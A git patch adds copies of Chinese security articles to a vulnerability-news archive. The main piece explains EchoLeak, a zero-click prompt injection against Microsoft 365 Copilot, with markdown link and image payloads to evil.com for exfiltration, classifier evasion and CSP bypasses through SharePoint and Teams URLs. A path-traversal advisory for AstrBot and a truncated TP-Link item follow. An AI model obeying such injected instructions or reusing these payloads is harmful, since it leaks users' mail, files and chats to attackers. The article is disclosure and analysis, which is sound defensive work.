From 65a64332d93b77bd92c3da922049c38d3d2363be Mon Sep 17 00:00:00 2001 From: test Date: Tue, 17 Jun 2025 16:26:41 +0000 Subject: [PATCH] =?UTF-8?q?=E3=80=90=E5=A4=8D=E7=8E=B0=E3=80=91=E6=B3=9B?= =?UTF-8?q?=E5=BE=AEE-cology9=C2=A0=E5=89=8D=E5=8F=B0SQL=E6=B3=A8=E5=85=A5?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E9=A3=8E=E9=99=A9=E9=80=9A=E5=91=8A=E3=80=81?= =?UTF-8?q?=E4=BD=B3=E8=83=BDimageCLASS=E6=89=93=E5=8D=B0=E6=9C=BARCE?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E5=88=86=E6=9E=90=E3=80=81Docker=20Registry?= =?UTF-8?q?=205000=E7=AB=AF=E5=8F=A3=E6=BC=8F=E6=B4=9E=E5=9B=BE=E5=BD=A2?= =?UTF-8?q?=E5=8C=96=E5=88=A9=E7=94=A8=E5=B7=A5=E5=85=B7=E5=AE=9E=E6=88=98?= =?UTF-8?q?=E6=8C=87=E5=8D=97=E3=80=81=E3=80=90=E9=AB=98=E5=8D=B1=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E9=A2=84=E8=AD=A6=E3=80=91Apache=20Tomcat=E8=AE=A4?= =?UTF-8?q?=E8=AF=81=E7=BB=95=E8=BF=87=E6=BC=8F=E6=B4=9E(CVE-2025-49125)?= =?UTF-8?q?=E3=80=81=E3=80=90=E5=AE=89=E5=85=A8=E5=9C=88=E3=80=91=E2=80=9C?= =?UTF-8?q?Grafana=20Ghost=E2=80=9D=E6=BC=8F=E6=B4=9E=E6=9B=9D=E5=85=89?= =?UTF-8?q?=EF=BC=8C=E8=BF=91=E5=9B=9B=E6=88=90=E5=85=AC=E7=BD=91=E5=AE=9E?= =?UTF-8?q?=E4=BE=8B=E4=BB=8D=E6=9C=AA=E4=BF=AE=E5=A4=8D=E3=80=81=E9=92=88?= =?UTF-8?q?=E5=AF=B9=20Windows=20=E7=A3=81=E7=9B=98=E6=B8=85=E7=90=86?= =?UTF-8?q?=E6=8F=90=E5=8D=87=E6=BC=8F=E6=B4=9E=E7=9A=84=20PoC=20=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E6=8F=AD=E6=99=93=E3=80=81CISA=20=E5=B0=86TP-Link=20?= =?UTF-8?q?=E8=B7=AF=E7=94=B1=E5=99=A8=E9=AB=98=E5=8D=B1=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E7=BA=B3=E5=85=A5KEV=E3=80=81=E3=80=90=E5=B7=B2=E5=A4=8D?= =?UTF-8?q?=E7=8E=B0=E3=80=91=E6=B3=9B=E5=BE=AE=20E-cology=20SQL=E6=B3=A8?= =?UTF-8?q?=E5=85=A5=E6=BC=8F=E6=B4=9E=E3=80=81=E5=8D=8E=E7=A1=95=20Armour?= =?UTF-8?q?y=20Crate=E6=BC=8F=E6=B4=9E=E5=8F=AF=E5=AF=BC=E8=87=B4=E6=94=BB?= =?UTF-8?q?=E5=87=BB=E8=80=85=E8=8E=B7=E5=8F=96Windows=20=E7=AE=A1?= =?UTF-8?q?=E7=90=86=E5=91=98=E6=9D=83=E9=99=90=E3=80=81AI=E5=A4=A7?= =?UTF-8?q?=E6=A8=A1=E5=9E=8B=E6=BC=8F=E6=B4=9E=E6=8C=96=E6=8E=98=E3=80=81?= =?UTF-8?q?=E3=80=90=E5=9C=A8=E9=87=8E=E5=88=A9=E7=94=A8=E3=80=91Windows?= =?UTF-8?q?=20WebDAV=20=E8=BF=9C=E7=A8=8B=E4=BB=A3=E7=A0=81=E6=89=A7?= =?UTF-8?q?=E8=A1=8C=E6=BC=8F=E6=B4=9E(CVE-2025-33053)=E3=80=81AstrBot=20g?= =?UTF-8?q?et=5Ffile=E6=8E=A5=E5=8F=A3=E5=AD=98=E5=9C=A8=E4=BB=BB=E6=84=8F?= =?UTF-8?q?=E6=96=87=E4=BB=B6=E8=AF=BB=E5=8F=96=E6=BC=8F=E6=B4=9ECVE-2025-?= =?UTF-8?q?48957=20=E9=99=84POC=E3=80=81=E3=80=90=E5=AE=89=E5=85=A8?= =?UTF-8?q?=E5=9C=88=E3=80=91=E2=80=9C=E5=BE=AE=E8=BD=AF=E4=BF=AE=E5=A4=8D?= =?UTF-8?q?=20Windows=20Hello=20=E6=AC=BA=E9=AA=97=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=EF=BC=9A=E9=BB=91=E6=9A=97=E4=B8=AD=E4=BA=BA=E8=84=B8=E8=AF=86?= =?UTF-8?q?=E5=88=AB=E5=8A=9F=E8=83=BD=E8=A2=AB=E7=A6=81=E7=94=A8=E2=80=9D?= =?UTF-8?q?=E3=80=81ChkApi=20-=20API=E6=BC=8F=E6=B4=9E=E5=AE=89=E5=85=A8?= =?UTF-8?q?=E6=A3=80=E6=B5=8B=E8=87=AA=E5=8A=A8=E5=8C=96=E5=B7=A5=E5=85=B7?= =?UTF-8?q?=E3=80=81=E8=A7=A3=E6=9E=90Swagger=E8=A7=84=E8=8C=83Bypass?= =?UTF-8?q?=E6=9C=AA=E6=8E=88=E6=9D=83=E6=A3=80=E6=B5=8B=E7=AD=89|?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E6=8E=A2=E6=B5=8B=E3=80=81MCP=20Inspector?= =?UTF-8?q?=E4=B8=A5=E9=87=8D=E8=BF=9C=E7=A8=8B=E4=BB=A3=E7=A0=81=E6=89=A7?= =?UTF-8?q?=E8=A1=8C=E6=BC=8F=E6=B4=9E=E5=A8=81=E8=83=81AI=E5=BC=80?= =?UTF-8?q?=E5=8F=91=E7=8E=AF=E5=A2=83=E5=AE=89=E5=85=A8=E3=80=81CVE-2025-?= =?UTF-8?q?49001=20Dataease=20JWT=20=E8=AE=A4=E8=AF=81=E7=BB=95=E8=BF=87?= =?UTF-8?q?=E5=AF=BC=E8=87=B4=E6=9C=AA=E6=8E=88=E6=9D=83=E8=AE=BF=E9=97=AE?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 18 +- doc/2025-06/AI大模型漏洞挖掘.md | 184 ++++++++++ ...文件读取漏洞CVE-2025-48957 附POC.md | 73 ++++ ...TP-Link 路由器高危漏洞纳入KEV.md | 105 ++++++ ...认证绕过导致未授权访问漏洞.md | 66 ++++ ...范Bypass未授权检测等漏洞探测.md | 321 ++++++++++++++++++ ...漏洞图形化利用工具实战指南.md | 84 +++++ ...执行漏洞威胁AI开发环境安全.md | 73 ++++ ...程代码执行漏洞(CVE-2025-33053).md | 169 +++++++++ ...ogy9 前台SQL注入漏洞风险通告.md | 92 +++++ ...光，近四成公网实例仍未修复.md | 108 ++++++ ...黑暗中人脸识别功能被禁用”.md | 86 +++++ ...现】泛微 E-cology SQL注入漏洞.md | 130 +++++++ ...omcat认证绕过漏洞(CVE-2025-49125).md | 38 +++ ...能imageCLASS打印机RCE漏洞分析.md | 250 ++++++++++++++ ...攻击者获取Windows 管理员权限.md | 100 ++++++ ...清理提升漏洞的 PoC 漏洞揭晓.md | 48 +++ 17 files changed, 1944 insertions(+), 1 deletion(-) create mode 100644 doc/2025-06/AI大模型漏洞挖掘.md create mode 100644 doc/2025-06/AstrBot get_file接口存在任意文件读取漏洞CVE-2025-48957 附POC.md create mode 100644 doc/2025-06/CISA 将TP-Link 路由器高危漏洞纳入KEV.md create mode 100644 doc/2025-06/CVE-2025-49001 Dataease JWT 认证绕过导致未授权访问漏洞.md create mode 100644 doc/2025-06/ChkApi - API漏洞安全检测自动化工具、解析Swagger规范Bypass未授权检测等漏洞探测.md create mode 100644 doc/2025-06/Docker Registry 5000端口漏洞图形化利用工具实战指南.md create mode 100644 doc/2025-06/MCP Inspector严重远程代码执行漏洞威胁AI开发环境安全.md create mode 100644 doc/2025-06/【在野利用】Windows WebDAV 远程代码执行漏洞(CVE-2025-33053).md create mode 100644 doc/2025-06/【复现】泛微E-cology9 前台SQL注入漏洞风险通告.md create mode 100644 doc/2025-06/【安全圈】“Grafana Ghost”漏洞曝光，近四成公网实例仍未修复.md create mode 100644 doc/2025-06/【安全圈】“微软修复 Windows Hello 欺骗漏洞：黑暗中人脸识别功能被禁用”.md create mode 100644 doc/2025-06/【已复现】泛微 E-cology SQL注入漏洞.md create mode 100644 doc/2025-06/【高危漏洞预警】Apache Tomcat认证绕过漏洞(CVE-2025-49125).md create mode 100644 doc/2025-06/佳能imageCLASS打印机RCE漏洞分析.md create mode 100644 doc/2025-06/华硕 Armoury Crate漏洞可导致攻击者获取Windows 管理员权限.md create mode 100644 doc/2025-06/针对 Windows 磁盘清理提升漏洞的 PoC 漏洞揭晓.md diff --git a/data.json b/data.json index 775d9d49..925f90d0 100644 --- a/data.json +++ b/data.json @@ -15273,5 +15273,21 @@ "https://mp.weixin.qq.com/s?__biz=MzIwMzIyMjYzNA==&mid=2247519126&idx=1&sn=3eecd2bbc44b7080865122adb5f9b382": "实战攻防之Nacos漏洞", "https://mp.weixin.qq.com/s?__biz=MzIxNTIzNTExMQ==&mid=2247491786&idx=1&sn=bc3db3144efa9f63df5e052e54ac610f": "月薪1000 两周挖50个漏洞", "https://mp.weixin.qq.com/s?__biz=MzI2NzAwOTg4NQ==&mid=2649795449&idx=2&sn=404c6ef81f1ab1d5139b13e0918bb13b": "SinoTrack GPS 漏洞可能允许攻击者跟踪和控制车辆", - "https://mp.weixin.qq.com/s?__biz=MzIyMjkzMzY4Ng==&mid=2247510724&idx=1&sn=204a1e34d1a77f2c86c9ff3879627d96": "域内大杀器 CVE-2025-33073 漏洞分析" + "https://mp.weixin.qq.com/s?__biz=MzIyMjkzMzY4Ng==&mid=2247510724&idx=1&sn=204a1e34d1a77f2c86c9ff3879627d96": "域内大杀器 CVE-2025-33073 漏洞分析", + "https://mp.weixin.qq.com/s?__biz=MzkxMDQyMTIzMA==&mid=2247484894&idx=1&sn=ce166fe89794c77dc20e0a9e1cb74fe1": "【复现】泛微E-cology9 前台SQL注入漏洞风险通告", + "https://mp.weixin.qq.com/s?__biz=MzUzMDUxNTE1Mw==&mid=2247512481&idx=1&sn=d403af9b610a2084cd79b961b4835b40": "佳能imageCLASS打印机RCE漏洞分析", + "https://mp.weixin.qq.com/s?__biz=Mzg5NDU3NDA3OQ==&mid=2247491309&idx=1&sn=6178a36525fbb6268e0ad09a12e1a80f": "Docker Registry 5000端口漏洞图形化利用工具实战指南", + "https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247490251&idx=1&sn=a80edb0d0a63cff61c6d32b4c7952a9e": "【高危漏洞预警】Apache Tomcat认证绕过漏洞(CVE-2025-49125)", + "https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070217&idx=4&sn=24357525bac3eedf8eb46ebe78022a55": "【安全圈】“Grafana Ghost”漏洞曝光，近四成公网实例仍未修复", + "https://mp.weixin.qq.com/s?__biz=MzI0NzE4ODk1Mw==&mid=2652096336&idx=2&sn=c3e591e98ec6f4b4800be540858e1ccc": "针对 Windows 磁盘清理提升漏洞的 PoC 漏洞揭晓", + "https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523309&idx=2&sn=d3e035c89c35c26ad0a1cad90861ac97": "CISA 将TP-Link 路由器高危漏洞纳入KEV", + "https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247492841&idx=1&sn=35527e48f4ac1c111cbc002aa26d6bb8": "【已复现】泛微 E-cology SQL注入漏洞", + "https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523309&idx=1&sn=50e822ff30e5cc7f931139cb1a288b2c": "华硕 Armoury Crate漏洞可导致攻击者获取Windows 管理员权限", + "https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247497741&idx=1&sn=c95ab3ad8c90379ea5e19a191a4afed0": "AI大模型漏洞挖掘", + "https://mp.weixin.qq.com/s?__biz=Mzk0ODM3NTU5MA==&mid=2247494025&idx=1&sn=c65c31ec37d498ceaebb43aa278a3646": "【在野利用】Windows WebDAV 远程代码执行漏洞(CVE-2025-33053)", + "https://mp.weixin.qq.com/s?__biz=MzIxMjEzMDkyMA==&mid=2247488631&idx=1&sn=0959127aeca102138d0d93b25dd5dc17": "AstrBot get_file接口存在任意文件读取漏洞CVE-2025-48957 附POC", + "https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070217&idx=3&sn=95c2556df13add7b94e2b92ec3ea503d": "【安全圈】“微软修复 Windows Hello 欺骗漏洞：黑暗中人脸识别功能被禁用”", + "https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247492478&idx=1&sn=f7c44f86be38638134d679e6fb3b8ffd": "ChkApi - API漏洞安全检测自动化工具、解析Swagger规范Bypass未授权检测等|漏洞探测", + "https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651323227&idx=3&sn=8d510d5113b805e0f18388a6539e982a": "MCP Inspector严重远程代码执行漏洞威胁AI开发环境安全", + "https://mp.weixin.qq.com/s?__biz=MzkzNzMxODkzMw==&mid=2247485947&idx=1&sn=ba767dba115ee2c0bbfec4ae94498e0c": "CVE-2025-49001 Dataease JWT 认证绕过导致未授权访问漏洞" } \ No newline at end of file diff --git a/doc/2025-06/AI大模型漏洞挖掘.md b/doc/2025-06/AI大模型漏洞挖掘.md new file mode 100644 index 00000000..3b551037 --- /dev/null +++ b/doc/2025-06/AI大模型漏洞挖掘.md @@ -0,0 +1,184 @@ +# AI大模型漏洞挖掘 + 迪哥讲事 2025-06-17 10:05 + +

声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。

# + +# + +****# 防走失：https://gugesay.com/archives/4447 + +******不想错过任何消息？设置星标****↓ ↓ ↓** +**** +# + + + +# 背景介绍 + +据国外 Aim Security 称 ，微软修补了其 Microsoft 365 Copilot 检索增强生成 （RAG） 工具中的一个“零点击”漏洞，该漏洞会导致用户敏感数据泄露。 + +**漏洞编号为 CVE-2025-32711，CVSS 评分高达 9.3 分。** + +今天就让我们来看看这个漏洞是如何实现的。 +# 漏洞详情 + +从 Aim Security 进一步了解，这个被称为“EchoLeak”的漏洞将允许攻击者通过发送绕过多项安全措施的特制电子邮件，从用户连接的 Microsoft 365 服务中获取潜在的敏感信息，例如**用户的 Outlook 电子邮件、OneDrive 存储、Office 文件、SharePoint 网站和 Microsoft Teams 聊天记录。** +## 利用过程 + +![file](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jkYuOfTErPx6icEb9fzEpEibFf8EEyB45Ssoz5iaFl72mYVutJbiccnD1oEE0hhm9QX3axGop7ePltzuQ/640?wx_fmt=png&from=appmsg "") + +漏洞利用流程示意 + +漏洞利用大致可分为 3 个步骤： +1. 注入：攻击者向用户收件箱发送一封‘无害’的电子邮件，其中包括LLM 的范围违规利用 + +1. 范围违规：Copilot 将不受信任的攻击输入与敏感数据混合到LLM上下文【利用 1：XPIA 绕过】 + +1. 检索：Copilot 将敏感数据泄漏给攻击者。【利用 2：链接编辑绕过】、【利用 3：CSP 绕过】 + +## 利用链拆解 +### XPIA 绕过 + +微软用于防止 AI 提示注入攻击的主要护栏之一是 XPIA（交叉提示注入攻击）分类器。通常情况下这些分类器可以阻止提示注入到达 M365 Copilot 的底层LLM。 + +不幸的是，这很容易被绕过，只需将包含恶意指令的电子邮件措辞为这些指令是针对收件人的，就可以轻松绕过。 + +由于电子邮件的内容从不涉及 AI/助手/Copilot 等，以确保 XPIA 分类器不会将该电子邮件检测为恶意邮件。 + +另一个不幸的是，实际提示注入的质量数据集很少，由于快速注入可以隐藏多种主题，短语，音调，语言等，因此对 XPIA 分类器进行了适当的训练就需要大量的训练数据，而这些数据目前是缺失的。 +### 链接编辑绕过 + +为了从 M365 Copilot 的上下文中泄露数据，还需要一个输出通道。 + +因为 M365 Copilot 只能访问组织资源，并且仅对员工可访问，因此需要通过向用户提供一个链接，然后将用户带到攻击者的域名，并在攻击者的服务器上记录查询字符串参数来窃取数据。 + +攻击者的指令指定查询字符串参数应该是LLM上下文中最敏感的信息，从而完成数据泄露。 + +听起来很简单，是吧？ + +这种方法的问题在于，Copilot 在用户有机会点击这些链接之前，就会从聊天历史中删除外部的Markdown 链接。 + +Markdown链接类似下方格式的文本，它们在客户端渲染时可以点击。 + +[Link display text](https://www.evil.com?param=) + +解决方案会确保仅将安全链接目标（即内部网页）呈现为用户可点击的链接。 + +关于Markdown，其内容总比你想象的要多，比如下面引用样式的Markdown链接就不会被Microsoft有效识别： +``` +[Link display text][ref][ref]: https://www.evil.com?param= +``` + +还有一些未被删除的变体，比如： +``` +[Link display text][Link display text]: https://www.evil.com?param=[Link display text][][Link display text]: https://www.evil.com?param= +``` + +利用这些绕过，就可以构建出第一条利用链： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jkYuOfTErPx6icEb9fzEpEibFefmSvbklXHhkprhoibk5AluyEVYECYRoib7JKMkXxBXkGbDBEujEEicMg/640?wx_fmt=png&from=appmsg "") +### 图片编辑绕过 + +为什么只满足于用户点击一个链接呢？是否可以做得更加巧妙？ + +当尝试让LLM输出一张图片时，浏览器将自动尝试获取图片，因此我们可以不需要用户点击任何东西，而是让浏览器“帮我们点击链接”。 + +Markdown的图片格式与Markdown链接非常相似，只是前面多了一个感叹号： + +![Image alt text](https://www.evil.com/image.png?param=) + +这样的Markdown图片格式也同样会受到链接编辑限制，但Markdown也支持引用图片： +``` +![Image alt text][ref][ref]: https://www.evil.com?param= +``` + +还有一些其它变体： +``` +![Image alt text][ref][ref]: https://www.evil.com?param=![Image alt text][][Image alt text]: https://www.evil.com?param= +``` + +这是不是就能够自动泄露敏感信息了？ + +其实不然，微软在 M365 Copilot 网页上还设置了 img-src CSP： +``` +*.cdn.office.net*.df.onecdn.static.microsoft*.public.onecdn.static.microsoft*.bing.combing.comres-dev.cdn.officeppe.net*.sharepoint-df.com*.sharepoint.commedia.licdn.comspoprod-a.akamaihd.netprod.msocdn.comcontent.powerapps.com*.teams.microsoft.com*.s-microsoft.com*.sharepointonline.comconnectoricons-df.azureedge.netconnectoricons-prod.azureedge.netcpgeneralstore.blob.core.chinacloudapi.cndepservstorageussec.blob.core.microsoft.sclouddepservstorageusnat.blob.core.eaglex.ic.govtip1apiicons.cdn.powerappscdn.nettip2apiicons.cdn.powerappscdn.netprodapiicons.cdn.powerappscdn.netaz787822.vo.msecnd.netcms-aiplugin.azureedge.netpowerautomate.microsoft.com*.osi.office.net*.osi.officeppe.netdesigner.microsoft.combing.com*.sharepointonline.com*.sharepoint-df.comconnectoricons-df.azureedge.netconnectoricons-prod.azureedge.netcpgeneralstore.blob.core.chinacloudapi.cndepservstorageussec.blob.core.microsoft.sclouddepservstorageusnat.blob.core.eaglex.ic.govtip1apiicons.cdn.powerappscdn.nettip2apiicons.cdn.powerappscdn.netprodapiicons.cdn.powerappscdn.netaz787822.vo.msecnd.netcms-aiplugin.azureedge.netpowerautomate.microsoft.com +``` + +因此，从本质上讲，虽然现在可以让 LLM 响应图片，但是浏览器不会尝试去获取它，因为 Evil.com 不符合  +img-src + CSP的要求。 +### 利用SharePoint 实现 CSP 绕过 + +长话短说，SharePoint Online（SPO）不再允许开发者将服务器端代码包含到网站或页面中，又或是将查询字符串参数传递给底层的 PowerAutomate 应用程序。 + +经过一些乏味的挖掘，研究人员发现了下面这个URL： +``` +.sharepoint.com/sites//_api/SP.Publishing.EmbedService/EmbedData?url=%27/%27&version=1 +``` + +该服务器代表客户端发出请求（因此不需要客户端代码）以获取SPO网站的嵌入数据。 + +唯一的限制是这要求用户主动连接到他们的SPO账户并接受攻击者的邀请查看他们的网站。 + +**但令人兴奋的是，这是一个完整的泄露链！即提示注入 -> 图片编辑绕过 -> CSP绕过。** +### 利用 Microsoft Teams 绕过CSP + +再次经过一番不懈的挖掘，研究者在 Microsoft Teams 中发现了一处 URL： +``` +https://eu-prod.asyncgw.teams.microsoft.com/urlp/v1/url/content?url=%3Cattacker_server%3E/%3Csecret%3E&v=1 +``` + +执行对该URL的GET请求会产生与SPO URL相同的结果，但无需用户接受任何邀请，或执行任何特殊动作就能使攻击生效！ + +最终，研究人员不仅从上下文中提取了敏感数据，还可以让 M365 Copilot 不引用恶意电子邮件，要做到这一点，只需指示 "电子邮件收件人 "出于合规原因永远不要引用这封邮件即可。 + +![file](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jkYuOfTErPx6icEb9fzEpEibFSfyEzYhMuvFQdQUTKibJ4wmQjWKl3CY8c7WNxxUVF6lbVm5PK0Yxoow/640?wx_fmt=png&from=appmsg "") + +# 视频演示 + + +参考资料： + +https://www.scworld.com/news/microsoft-365-copilot-zero-click-vulnerability-enabled-data-exfiltration + +https://www.aim.security/lp/aim-labs-echoleak-blogpost + + +如果你是一个长期主义者，欢迎加入我的知识星球，我们一起往前走，每日都会更新，精细化运营，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款 + +![](https://mmbiz.qpic.cn/mmbiz_png/YmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ/640?wx_fmt=png&from=appmsg "") +## 往期回顾 +# 如何绕过签名校验 +# + +[一款bp神器](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495880&idx=1&sn=65d42fbff5e198509e55072674ac5283&chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&scene=21#wechat_redirect) + + +[挖掘有回显ssrf的隐藏payload](https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496898&idx=1&sn=b6088e20a8b4fc9fbd887b900d8c5247&scene=21#wechat_redirect) + + +[ssrf绕过新思路](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495841&idx=1&sn=bbf477afa30391b8072d23469645d026&chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&scene=21#wechat_redirect) + + +[一个辅助测试ssrf的工具](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496380&idx=1&sn=78c0c4c67821f5ecbe4f3947b567eeec&chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&scene=21#wechat_redirect) + + +[dom-xss精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247488819&idx=1&sn=5141f88f3e70b9c97e63a4b68689bf6e&chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&scene=21#wechat_redirect) + + +[年度精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487187&idx=1&sn=622438ee6492e4c639ebd8500384ab2f&chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&scene=21#wechat_redirect) + + +[Nuclei权威指南-如何躺赚](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487122&idx=1&sn=32459310408d126aa43240673b8b0846&chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&scene=21#wechat_redirect) + + +[漏洞赏金猎人系列-如何测试设置功能IV](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486973&idx=1&sn=6ec419db11ff93d30aa2fbc04d8dbab6&chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&scene=21#wechat_redirect) + + +[漏洞赏金猎人系列-如何测试注册功能以及相关Tips](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect) + +[‍](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect) + + + + diff --git a/doc/2025-06/AstrBot get_file接口存在任意文件读取漏洞CVE-2025-48957 附POC.md b/doc/2025-06/AstrBot get_file接口存在任意文件读取漏洞CVE-2025-48957 附POC.md new file mode 100644 index 00000000..3e4a460e --- /dev/null +++ b/doc/2025-06/AstrBot get_file接口存在任意文件读取漏洞CVE-2025-48957 附POC.md @@ -0,0 +1,73 @@ +# AstrBot get_file接口存在任意文件读取漏洞CVE-2025-48957 附POC +2025-6-17更新 南风漏洞复现文库 2025-06-17 15:39 + +  + +免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 +## 1. AstrBot 简介 + +微信公众号搜索：南风漏洞复现文库 +该文章 南风漏洞复现文库 公众号首发 + +AstrBot是一个大型语言模型聊天机器人和开发框架。 +## 2.漏洞描述 + +AstrBot是一个大型语言模型聊天机器人和开发框架。版本3.4.4至3.5.12中存在路径遍历漏洞，可能导致信息泄露，如LLM提供商的API密钥、账户密码和其他敏感数据。漏洞已在Pull Request #1676中得到解决，并包含在版本3.5.13中。作为临时解决方案，用户可以编辑cmd_config.json +文件以禁用仪表板功能。但是，强烈建议升级到版本v3.5.13或更高版本以完全解决此问题。 + +CVE编号:CVE-2025-48957 + +CNNVD编号: + +CNVD编号: +## 3.影响版本 + +版本3.4.4至3.5.12 + +![AstrBot get_file接口存在任意文件读取漏洞](https://mmbiz.qpic.cn/sz_mmbiz_png/HsJDm7fvc3bwA6obEOF4ibg1rMv6X0vic83GTvXq0Sh9Igy80pBOdfC7uu8lGicXqtlSribugtpDzV0K00jXYRC5RA/640?wx_fmt=png&from=appmsg "null") + +AstrBot get_file接口存在任意文件读取漏洞 +## 4.fofa查询语句 + +"AstrBot" +## 5.漏洞复现 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HsJDm7fvc3bwA6obEOF4ibg1rMv6X0vic8EibfviamFR1lnxrsdZgNqaPlGR2AT9IcXFqrdFVfh1WqGBL21Un9l7sw/640?wx_fmt=jpeg&from=appmsg "null") + +## 6.POC&EXP + +本期漏洞及往期漏洞的批量扫描POC及POC工具箱已经上传知识星球：南风网络安全 +1: 更新poc批量扫描软件，承诺，一周更新8-14个插件吧，我会优先写使用量比较大程序漏洞。 +2: 免登录，免费fofa查询。 +3: 更新其他实用网络安全工具项目。 +4: 免费指纹识别，持续更新指纹库。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HsJDm7fvc3bwA6obEOF4ibg1rMv6X0vic8AohaZicRlFbialQ0XemvBjGjeyibJic6n12vbOJxwWmtJicyGKaxGHmFKOA/640?wx_fmt=jpeg&from=appmsg "null") + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HsJDm7fvc3bwA6obEOF4ibg1rMv6X0vic8DljBlPqDVD3oyzhgzxQrKXAz74cJiaf5RU7cicIDA1BiafyaMq4SzyG8g/640?wx_fmt=jpeg&from=appmsg "null") + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HsJDm7fvc3bwA6obEOF4ibg1rMv6X0vic8YyFVhJQxZHolZR034ibPcMulQ73iblicF4AQwzhYdNXicWvLVxdqUytHJw/640?wx_fmt=jpeg&from=appmsg "null") + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HsJDm7fvc3bwA6obEOF4ibg1rMv6X0vic8jBJZzkBrGJHYFvx61r15yjFppnagglo1O3lI24OtRWbqb51hnf0fcg/640?wx_fmt=jpeg&from=appmsg "null") + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HsJDm7fvc3bwA6obEOF4ibg1rMv6X0vic8cnDDr0NTIIjEO5SicHib67iaXkKKy0C733HljTbdkSibibsjvpKOsVmJOGQ/640?wx_fmt=jpeg&from=appmsg "null") + +## 7.整改意见 + +将组件 AstrBot 升级至 3.5.13 及以上版本 +## 8.往期回顾 + + +  + + + diff --git a/doc/2025-06/CISA 将TP-Link 路由器高危漏洞纳入KEV.md b/doc/2025-06/CISA 将TP-Link 路由器高危漏洞纳入KEV.md new file mode 100644 index 00000000..8280b882 --- /dev/null +++ b/doc/2025-06/CISA 将TP-Link 路由器高危漏洞纳入KEV.md @@ -0,0 +1,105 @@ +# CISA 将TP-Link 路由器高危漏洞纳入KEV +Ravie Lakshmanan 代码卫士 2025-06-17 10:40 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Az5ZsrEic9ot90z9etZLlU7OTaPOdibteeibJMMmbwc29aJlDOmUicibIRoLdcuEQjtHQ2qjVtZBt0M5eVbYoQzlHiaw/640?wx_fmt=gif "") +  +聚焦源代码安全，网罗国内外最新资讯！ + +**编译：代码卫士** + +**本周一，美国网络安全和基础设施安全局 (CISA) 将TP-Link 无线路由器中的一个高危漏洞纳入“已知遭利用漏洞 (KEV)”分类表中。** + 